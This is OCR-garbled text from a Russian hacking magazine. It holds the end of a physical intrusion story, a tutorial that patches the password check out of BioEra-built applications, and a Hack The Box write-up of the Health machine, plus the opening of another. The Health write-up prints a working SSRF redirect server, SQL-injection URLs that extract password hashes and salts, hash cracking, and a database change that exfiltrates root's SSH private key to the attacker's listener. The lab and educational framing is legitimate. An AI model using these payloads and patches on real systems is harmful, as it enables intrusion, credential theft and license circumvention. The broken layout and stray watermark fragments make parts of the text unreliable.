сто |
|||||||||||||||||||||||||
ронней компании , который опять же, согласно |
легенде , по согласова нию |
с тех |
||||||||||||||||||||||||||
ническим |
директором |
должен |
был провес ти настрой ку сетевого оборудо вания . |
|||||||||||||||||||||||||
Наивный |
и радушный |
админ спокой но пропус тил меня внутрь и даже помог |
||||||||||||||||||||||||||
найти подходящий |
разъем Ethernet для моего ноута. Я же, одурев от собствен |
|
||||||||||||||||||||||||||
ной безнаказан |
ности , помимо прочего , успел скопиро вать |
его пропуск |
, когда |
|||||||||||||||||||||||||
тот отвернулся . Через |
какое то время имитации |
бурной |
деятельнос ти я |
|||||||||||||||||||||||||
и горемычный |
админ вышли покурить, после чего тот отправил ся на обед. Я же |
|||||||||||||||||||||||||||
вернулся |
в серверную |
и прошел |
внутрь по скопиро ван ной |
ранее карте . Быс |
||||||||||||||||||||||||
тренько подобрав |
отмычки, вскрыл серверный |
шкаф |
и задокумен тировал |
|||||||||||||||||||||||||
это достижение |
на фото во всех ракурсах . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
Так как скопиро ван ный |
мной пропуск |
был админским |
(а они обычно имеют |
|||||||||||||||||||||||||
доступ к большинс тву техничес ких помещений ), проник новение |
в хранили ще , |
|||||||||||||||||||||||||||
где лежали резервные |
копии, тоже не было проблемой . Серверный |
ящик я |
||||||||||||||||||||||||||
вскрыл и тоже запечатлел это для протоко ла . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
На этом все мои задачи были выполнены |
. Я спокой но вышел через ту же |
|||||||||||||||||||||||||||
проход ную , что и вошел, и отправил ся уже в свой офис строчить |
отчет о про |
|||||||||||||||||||||||||||
деланной |
работе. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
||||||
|
to |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
|
||
|
p |
df |
|
|
|
|
e |
|
|||
|
-x |
|
|
g |
|
|
|
||||
|
|
|
n |
|
|
|
|
||||
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
|
.c |
|
||
|
|
p |
df |
|
|
|
e |
|
|||
|
|
|
|
|
g |
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
ИЗУЧАЕМ ПРИЛОЖЕНИЕ, СОЗДАННОЕ В BIOERA
Диковин |
ных |
|
сред |
разработ |
ки |
софта |
|
||||
|
|
||||||||||
существу ет множес тво . Сред визуаль ного |
|
||||||||||
программи |
рова |
ния |
— чуть |
|
меньше , |
|
|||||
а популярные |
среди них и вовсе можно |
|
|||||||||
|
|||||||||||
пересчитать |
по пальцам . |
Сегодня |
я |
МВК |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
покажу, как можно |
обойти |
парольную |
|
||||||||
защиту |
в |
|
программах , |
|
созданных |
|
|||||
с помощью довольно редкого |
инстру мен та |
|
|||||||||
под названи |
ем BioEra. |
|
|
|
|
|
|
Этой статьей я продол жаю тему визуаль ного программи рова ния , свое отно шение к которому я уже подробно и исчерпывающе выразил в статье с говоря щим названи ем «Полное G. Ломаем приложе ние на языке G, созданное
в LabVIEW». А что, если программу из этой статьи написать на Java, потом час тично скомпилиро вать , а частично — зашифровать код? Получится софтина , собранная с использовани ем проекта BioEra!
Из информации на сайте (имеющем весьма спартан ский дизайн, как и сама среда программи рова ния ) можно узнать, что инстру мент позволя ет создавать кросс платформен ные приложе ния для обработ ки сигналов с датчиков и игро вых контрол леров . Еще в BioEra можно разрабаты вать софт для обработ ки зву ка, что характерно , абсолют но не имея навыков программи рова ния — как раз то, что нужно современ ному начинающе му кодеру!
|
Статья имеет ознакоми |
тель ный |
характер и пред |
|||||||||||
|
назначена |
для |
специалис |
тов |
по безопасности |
, |
||||||||
|
проводя |
щих |
тестирова |
ние |
в рамках |
контрак та . |
||||||||
|
Автор и |
редакция |
не несут |
|
ответствен ности |
|||||||||
|
за любой вред, причинен ный |
с примене нием |
||||||||||||
|
изложен ной |
информации . Распростра |
нение |
вре |
||||||||||
|
доносных |
программ , нарушение |
работы систем |
|||||||||||
|
и нарушение |
тайны |
переписки преследу |
ются |
||||||||||
|
по закону. |
|
|
|
|
|
|
|
|
|
|
|
|
Дабы не нарушать законы, скачаем с сайта триаль ную версию этой среды раз работки и попробу ем решить простую задачу: обойти парольную защиту на редактирова ние скомпилиро ванных в BioEra файлов визуаль ных проектов . BPD (разработ чики гордо называют их «дизайнами »). Как и в любой другой сре
де разработ ки visual programming language (типа LabView), проект тут в прямом смысле рисуется в визуаль ном редакторе в виде блок схемы .
Разуме ется, при такой открытос ти исходников в BioEra существу ют способы оградить «дизайн» от шаловливых ручек хакеров, которым вздумает ся дизас сембли ровать, а то и поправить проект . Защита тут использует ся попроще , чем в LabView, но все равно можно поставить на «дизайн» пароль на открытие
и редактирова ние визуаль ной блок схемы . Именно такую защиту мы и поп робуем обойти , ведь это путь к постижению логики постро ения приложе ний данной среды разработ ки.
Сразу забегая вперед , скажу , что существу ет и более простой способ — сервисный режим разработ чика , в котором парольная защита просто игно рируется , но мы легких путей не ищем и занимаемся решением этой задачи исключитель но из спортивно го интереса в познаватель ных целях.
Итак, смотрим файл bioera.exe из скачан ного и установ ленного триала . DetectItEasy не видит на нем никакой защиты и предполага ет, что приложе ние написано на си. Запускаем его и пытаемся им открыть запаролен ный дизайн. Выскакива ет окошко ввода пароля.
Таких строк нет в EXE-файле , более того, их нет вообще ни в одном файле установ ленно го пакета, когда мы пытаемся их отыскать глобаль ным поиском . Топорный дизайн окон напоминает Java, в пакете действи тель но обнаружи вается великое множес тво Jar-библиотек , но поиск по их содержимому тоже ничего не дает. Аттачим ся к запущенному процес су при помощи нашего любимого отладчика x32dbg и видим, что это не то чтобы совсем явная Java, — виртуаль ная машина JVM интегрирова на прямо в EXE-файл. Нечто подобное я описывал в своей статье «Суровая жаба. Изучаем защиту Excelsior JET для программ на Java».
|
|
|
|
|
|
|
|
|
Стек вызовов прерванно го процес са |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
|
|
|
|
|
||||||||||||||||||||||||||||||||
То, что ядро этого монстра написано на примитив ной |
32-битной |
Java, — вне |
||||||||||||||||||||||||||||||||||
всякого |
сомнения , нужно лишь выяснить |
, где именно находится этот код, ведь |
||||||||||||||||||||||||||||||||||
простым |
поиском |
его в файлах проекта |
не обнаружить |
. Значит , он или хитро |
||||||||||||||||||||||||||||||||
упакован |
, или зашифрован |
. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
Попробу |
ем подойти к решению задачи с другой стороны |
: отследим |
файлы , |
|||||||||||||||||||||||||||||||||
к которым приложе ние обращает |
ся при загрузке . Для этого запускаем |
утилиту |
||||||||||||||||||||||||||||||||||
Process |
Monitor (ProcMon), |
|
устанав лива ем фильтр на процесс |
bioera.exe |
||||||||||||||||||||||||||||||||
и отслежива ем все его обращения |
|
к файловой |
системе . Очень непростое |
|||||||||||||||||||||||||||||||||
решение, посколь |
ку мы по опыту уже знаем , насколь |
ко длинные |
простыни |
|||||||||||||||||||||||||||||||||
обращений |
к самым разным |
файлам |
нам придет ся отслеживать |
в результате . |
||||||||||||||||||||||||||||||||
В нашем случае |
самым главным |
кандидатом |
на вместилище |
|
кода будет |
|||||||||||||||||||||||||||||||
довольно увесис тый |
файл be.cbe из |
подкатало га \ext, который |
грузит ся |
|||||||||||||||||||||||||||||||||
в память целиком последова тель |
ными |
порциями |
по 65 535 (0xFFFF) байт. |
|||||||||||||||||||||||||||||||||
При беглом |
просмотре |
этот файл (за исключени ем 5-байтового |
заголовка |
|||||||||||||||||||||||||||||||||
CBE01) представ ляет |
|
собой умерен но энтропичес кую |
кашу из символов |
— он |
||||||||||||||||||||||||||||||||
явно упакован |
или |
|
зашифрован |
каким то алгорит мом |
собствен |
ного |
изоб |
|||||||||||||||||||||||||||||
ретения. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Ну что ж, попробу |
ем его изучить . Для этого снова загружа ем отладчик |
|||||||||||||||||||||||||||||||||||
x32dbg |
и запускаем |
|
оттуда файл bioera.exe, предваритель |
но установив |
||||||||||||||||||||||||||||||||
условную точку останова |
|
на ReadFile с условием |
|
|
останов ки [esp+0xC] |
|||||||||||||||||||||||||||||||
==0x0FFFF. В первый |
|
раз нас ждет осечка — программа |
в отладчике завер |
|||||||||||||||||||||||||||||||||
шается , не достигнув |
точки останова . Однако на экране окно программы |
|||||||||||||||||||||||||||||||||||
все таки загрузилось |
, уже вне отладчика . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
Пробуем |
приатта чить ся к ее процес су и видим, что программа |
просто |
||||||||||||||||||||||||||||||||||
перезагрузила |
сама себя со следующи ми параметрами |
командной |
строки : |
"C:\Program Files (x86)\BioEraTrial\bioera.exe" launcher -root C:\
Program%20Files%20(x86)\BioEraTrial\ -j15
Меняем в x32dbg командную строку на эту и снова запускаем приложе ние . На этот раз точка останова срабаты вает . Искомый вызов из — это стандар тный Javaзагрузчик заданного количества байтов из файла :
<_Java_java_io_FileInputStream_readBytes@20>
Попробу ем отследить дальнейшую судьбу прочитан ных с его помощью байтов . Эта задача будет чуть посложнее . Для начала ставим точку останова на доступ к какому нибудь байту из свежес читанного буфера. Прочитан ные байты будут
несколь ко раз перемещать ся из массива в массив , и каждый раз придет ся уби рать аппарат ную точку останова в прежней локации и переставлять ее на новое место . В конце концов наши усилия увенчива ются успехом : нужный байт выбирается из массива из скомпилиро ванного JVM-кода:
movsx ebx,byte ptr ds:[edx+eax+C]
mov eax,ebx |
|
; |
eax <- считанный из буфера байт |
|
|
movzx ebx,byte ptr ds:[esi+1] |
; esi — указатель на |
|
следующий JVM-опкод, который загружается в ebx |
||
inc esi |
|
; Следующий опкод в esi |
jmp dword ptr ds:[ebx*4+6DA6C148] |
; |
|
Переход на обработчик следующего опкода |
||
Как видим, в нашей версии |
приложе ния |
реализова на довольно примитив |
ная 32-битная Java-машина. JVM-код даже не скомпилиро ван, а просто интер
претиру |
ется |
в процес се выполнения , чем объясня ется |
изрядная неповорот |
|||||||||
ливость программы |
. В принципе , если у тебя есть в запасе уйма свобод ного |
|||||||||||
времени , ты можешь дизассем бли ровать |
алгоритм |
расшифров ки , попрыгав |
||||||||||
в отладчике по коду, но мы поступим |
проще . Ведь это не какие нибудь |
|||||||||||
Themida или VMProtect, а вполне заурядная и широко известная |
JVM, ее сис |
|||||||||||
|
|
|
|
|
esi |
|
||||||
тема команд задокумен |
тирова на , и у |
|
нас в регистре |
есть адрес |
||||||||
на исполняемый |
в данный |
момент шитый код. |
|
|
|
|
Стек вызовов прерванно го процес са
К примеру , код текущей исполняемой инструк ции (обработ чик которой при веден выше, на скриншоте jy выделен красным ) — 33h, это baload. Можно даже угадать имя исполняемо го метода (decode) и его класс (be.read. Cipher). Осталось только найти этот класс и по человечес ки декомпилиро вать.
К сожалению , глобаль ным поиском нужный нам класс тоже не находится . Похоже, мы вышли на ядро какого то более глубоко го уровня , копать который по описан ному выше методу нам уже надоело и неинтерес но. Поэтому на этот раз мы схалтурим — просто найдем этот класс в исходном виде в памяти про цесса по шаблону (скажем , тот же be/read/Cipher) и сдампим его в файл, начиная с сигнатуры CAFEBABE.
Стек вызовов прерванно го процес са
Деком пилиро вав этот класс, мы получаем используемые в BioEra алгорит мы шифрования и дешифрования . Они совершенно примитив ны , хотя чуть слож нее по исполнению обычного XOR:
package be.read;
public class Cipher {
public static final int LEN = 311;
static final int BIGLEN = 79616;
protected byte[] buffer = new byte[311];
private byte[] eb = new byte[311];
static final int k1 = 19;
static final int k2 = 236;
protected void decrypt() {
int i = 311;
while (--i >= 0) {
this.eb[i] = (byte)((this.buffer[i] & 0x13) + (this.
buffer[(i + 7) % 311] & 0xEC));
}
i = 311;
while (--i >= 0) {
this.buffer[i] = (byte)(this.eb[i] - i * 13 % 17);
}
}
protected void encrypt() {
int i = 311;
while (--i >= 0) {
this.eb[i] = (byte)(this.buffer[i] + i * 13 % 17);
}
i = 311;
while (--i >= 0) {
this.buffer[i] = (byte)((this.eb[i] & 0x13) + (this.eb
[(i - 7 + 79616) % 311] & 0xEC));
}
}
}
Теперь , когда у нас есть эти алгорит мы , компилиру ем простень кий декодер и расшифро выва ем им файл be.cbe. В раскодиро ван ном виде он представ
ляет собой последова тель |
ность |
откомпилиро ван ных |
и обфусцирован |
ных |
клас |
||||||||||
сов, которые можно выделять и отрезать |
по сигнатурам |
CAFEBABE для деком |
|||||||||||||
пиляции. Поиск по строке "Protected |
design" выводит нас на класс mF, |
||||||||||||||
который, помимо провер ки пароля для защищенного |
дизайна , содержит мно |
||||||||||||||
жество других вкусняшек |
типа провер ки донгла , лицензии , сигнатур |
(в частнос |
|||||||||||||
ти, упомяну |
тый |
выше сервисный |
режим). Но наша задача — обойти провер ку |
||||||||||||
пароля. Искомое |
место легко находится в декомпилиро ван ном |
коде в методе |
|||||||||||||
public static |
final int a(Pi pi, uI uI2, String string) и выглядит |
||||||||||||||
так: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
PF pF = new PF(m.p.J(), "Protected design");
pF.c = true;
if (nE.c()) {
System.out.println("DEV - Skipping nes des pwd dlg");
} else {
pF.b("Password");
}
if (nE.c() || pF.b && pF.q().equals(uI2.l.toString()))
// Если убрать эту проверку, то любой введенный пароль будет
приниматься как родной
{
m.p.R = false;
rA.f = true;
return 5;
}
Как видно из кода, по хорошему можно было бы пропат чить класс nE.c(), тог да окно пароля вообще не будет появлять ся, но нам уже все надоело и искать, а потом декомпилиро вать этот класс просто лень. Поэтому берем нашего любимого «Грязного Джо» (я писал о нем в статье «Грязный Джо. Взламыва ем Java-приложе ния с помощью dirtyJOE») и ищем последова тельность опкодов , соответс твующих выражению nE.c() внутри условия if (...). Выглядит
это вот так.
Стек вызовов прерванно го процес са
Чтобы условный переход всегда отрабаты вал , выделенную красным пос ледователь ность нужно заменить true (04). В итоге нам надо в расшифро ванном файле be.cbe найти последова тель ность байтов B8 01 B7 9A 00 1D, первые три из которых исправить на 00 00 04, а потом зашифровать файл обратно. Проделы ваем это и убеждаем ся , что теперь защищенные дизайны открывают ся при вводе любого пароля безо всякого сервисно го режима.
ВЫВОДЫ
Возможно , читатель упрекнет меня в том, что мы потратили столько времени и сил впустую . Ведь, судя по последним новостям на этом сайте , эта среда разработ ки не завоева ла популярности и, скорее всего , не успела распол зтись
по миру. Поэтому вероятность встретить ся с созданны ми при помощи BioEra программа ми у читателя невысока . Однако мы препари рова ли этого мертво рожденно го монстра просто из любви к экзотике и в ознакоми тель ных целях — для приобре тения опыта реверса нестандар тных Java-приложе ний .
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЭКСПЛУАТИРУЕМ SSRF ОТ ПЕРВОНАЧАЛЬНОГО ДОСТУПА
ДО ЗАХВАТА ХОСТА
В этом райтапе я покажу, как искать и экс плуати ровать уязвимость SSRF. В допол нение к ней мы заюзаем SQL-инъекцию
в GoGits, а затем дополним нашу атаку манипуляци ей содержимым базы данных сервиса . Это позволит нам получить кри тически важные данные и контроль над машиной.
RalfHacker hackerralf8@gmail.com
Наша цель — трениро воч ный стенд Health с площад ки Hack The Box. Слож ность задачи оценена ее авторами как средняя .
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.176 health.htb
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое сканиро вание, на втором — более тщатель ное сканиро вание , с использовани ем име ющихся скриптов (опция -A).
Резуль тат работы скрипта
Скрипт нашел два открытых порта : 22 — служба OpenSSH 7.6p1 и 80 — веб сервер Apache 2.4.29. Сразу идем на веб сервер .
Главная страница сайта http://health.htb
ТОЧКА ВХОДА
Давай заполним необходимые поля и отправим данные . В полях URL можно указать адрес своего веб сервера . Предваритель но запустим его:
python3 -m http.server 8080
Форма отправки данных
Логи веб сервера
В логах веб сервера видим два запроса . Первый — это GET-запрос на указан
ный Monitored URL, а второй — POST-запрос на Payload URL. Так как http. server не показывает нам полные данные , нужно написать свою реализацию . Давай напишем программу , которая будет выводить HTTP-заголовки , а в слу чае с POST-запросом — еще и переданные данные .
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class Serv(BaseHTTPRequestHandler):
def do_GET(self):
print("GET " + str(self.path))
print(str(self.headers))
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("POST " + str(self.path))
print(str(self.headers))
print(post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def log_message(self, format, *args):
return
logging.basicConfig(level=logging.INFO)
httpd = HTTPServer(('', 8080), Serv)
httpd.serve_forever()
httpd.server_close()
Запус каем и делаем повторный запрос .
Резуль тат работы сервера
Видим , что в данных POST-запроса передается информация об указан ных URL, а также пометка down. Давай попробу ем дать какой нибудь ответ на GETзапрос . Для этого изменим метод do_GET:
class Serv(BaseHTTPRequestHandler):
def do_GET(self):
print("GET " + str(self.path))
print(str(self.headers))
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write("<test>RALF_SERVER<test>".encode('utf-8'))
Логи веб сервера
И теперь видим, что в данных POST-запроса нам передают наш же ответ на GET-запрос . Значит , нужно проверить , нет ли здесь возможнос ти для экс плуата ции SSRF — то есть возможнос ти подделки запросов .
ТОЧКА ОПОРЫ
SSRF
Первым делом я попробовал добрать ся до файла /etc/passwd, для чего ука зал в качестве URL file:///etc/passwd/id_rsa, но получил следующее пре дупрежде ние.
Предуп режде ние при запросе файла
Запросить данные с адреса 127.0.0.1 тоже не вышло , но я вспомнил старый трюк с редиректом . Так как проводит ся фильтра ция именно введен ных в поле URL данных , мы можем обратить ся к 127.0.0.1 в обход этого поля. Для этого нам нужно отправить чекер на свою страницу , которая перешлет клиента
на 127.0.0.1. Изменим метод do_GET для выполнения редиректа .
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://127.0.0.1/')
self.end_headers()
Повторя ем атаку и получаем уже знакомую страницу самого же сервера , что подтвержда ет наличие уязвимос ти SSRF.
Эксфиль тра ция данных
Для поиска портов , которые могут быть открыты для подклю чения с локального хоста , можно восполь зовать ся SYN-сканиро вани ем .
sudo nmap -p- -sS --min-rate=1500 health.htb
Резуль тат сканиро вания портов
Находим порт 3000, который как раз фильтру ется . Попробу ем вытянуть дан ные с него. Указыва ем другой URL в обработ чике GET:
self.send_header('Location', 'http://127.0.0.1:3000/')
Для удобства я немного изменил обработ чик POST, чтобы из ответа сервера автомати чес ки извлекал ся код HTML, сохранял ся в файл и открывал ся в бра узере .
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(post_data.decode('utf-8'))
f = open('page.html', 'wt')
f.write(json.loads(post_data.decode('utf-8'))['body'])
f.close()
subprocess.run(["firefox", "page.html"])
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
Делаем новый запрос и в открывшемся браузе ре видим страницу авториза ции
Gogs.
Получен ные данные
Эта страница раскры вает нам версию платформы , что поможет при поиске известных уязвимос тей . Один запрос к Google, и первая же ссылка дает нам описание готового экспло ита .
Резуль тат поиска в Google
Таким образом мы узнаем , что в этой версии Gogs есть возможность провес ти SQL-инъекцию на странице search через параметр q.
Описание способа эксплу ата ции
Для эксплу ата ции нам нужно только менять URL в коде нашего обработ чика GET-запросов . Приведен ный в PoC пример у меня не сработал , поэтому пришлось немного переработать запрос . Вытянуть версию не получилось , но зато добиваемся выполнения вложен ного SQL-запроса select '123'.
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/
**/select/**/null,null,(select/**/'123'),null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null/**/--/**/
Получен ные данные
ПРОДВИЖЕНИЕ
Gogs SQL Injection
Итак, мы можем выполнять запросы , но получить информацию о структуре таб лицы у меня не вышло . Поэтому я скачал исходни ки Gogs и порылся в них. Там находим структуру User.
Структура User
Нас здесь интересу ют поля name, passwd и salt.
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/
**/select/**/null,null,(select/**/name/**/from/**/user),null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null/**/--/**/
Получе ние имени пользовате ля
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/
**/select/**/null,null,(select/**/passwd/**/from/**/user),null,
null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null/**/--/**/
Получе ние хеша пароля пользовате ля
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/
**/select/**/null,null,(select/**/salt/**/from/**/user),null,null,
null,null,null,null,null,null,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null/**/--/**/
Получе ние соли для хеширования
Теперь нужно разобрать ся с алгорит мом хеширования . Так, в issue на GitHub находим упомина ние самого алгорит ма .
Информа ция об алгорит ме хеширования
И уже по ключево му слову находим сам код в исходниках .
Исходный код функции EncodePassword
У нас есть все параметры для перебора хеша. Приводим его к формату hashcat:
echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d 6c032f0fd4ef83f48d74349ec196f4efe37'
| xxd -r -ps | base64
echo 'sO3XIbeW14' | base64
Преобра зова ние к формату hashcat
А теперь брутим хеш, для чего указыва ем режим 10900:
hashcat -m 10900 sha.hash rockyou.txt
Резуль тат перебора
С полученным паролем подклю чаем ся по SSH и забираем первый флаг.
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь , когда мы получили доступ к хосту , нам нужно собрать информацию , которая поможет в повышении привиле гий. Источников очень много , и для автомати зации поисков я обычно использую скрипты PEASS. С их помощью обнаружи ваем учетные данные для подклю чения к базе данных .
Перемен ные окружения
Больше ничего найти не удалось , да и сама база ничего нам не дала. Тогда отследим запускаемые на хосте процес сы с помощью pspy64. Простое ожи дание ничего не дало — все спокой но . Тогда попробу ем пройти по всем фун кциям сайта и посмотреть , приведет ли это к выполнению каких либо прог рамм в системе . После создания веб хука в консоли посыпались логи.
Создание веб хука
Логи pspy
Подклю чим ся к базе данных и посмотрим содержимое таблицы tasks.
mysql -Dlaravel -ularavel -pMYsql_strongestpass@2014+
select * from tasks;
Содер жимое таблицы tasks
И получаем указан ный нами URL, данные по которому будут отправлены на наш сервер ! В самом начале прохож дения я пытался получить содержимое
файла , но помешал фильтр . Теперь же мы можем, минуя фильтры , просто под менить запись в базе данных . Эксфильтро вать попробу ем приват ный SSHключ рута.
update tasks set monitoredUrl='file:///root/.ssh/id_rsa';
Изменение данных в таблице tasks
Логи листенера
И на открытый листенер прилета ет запрос , где мы можем найти SSH-ключ пользовате ля root. С этим ключом подклю чаем ся к системе и забираем второй флаг.
Флаг рута
Машина захвачена !
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
c |
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ПОВЫШАЕМ ПРИВИЛЕГИИ ЧЕРЕЗ ГРУППУ DOCKER
В этом райтапе я покажу разные техники сканиро вания веб сайта , затем проэкс плуати руем инъекцию NoSQL, чтобы обой ти авториза цию . Под конец прохож дения разберем ся с пользователь ским менед жером паролей и повысим привиле гии через группу Docker.
RalfHacker hackerralf8@gmail.com
Нашей целью будет захват трениро воч ной машины Shoppy с площад ки Hack The Box.
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА Сканирование портов
Добав ляем IP-адрес машины в /etc/hosts:
10.10.11.180 shoppy.htb
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта :
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое сканиро вание, на втором — более тщатель ное сканиро вание , с использовани ем име ющихся скриптов (опция -A).
Резуль тат работы скрипта
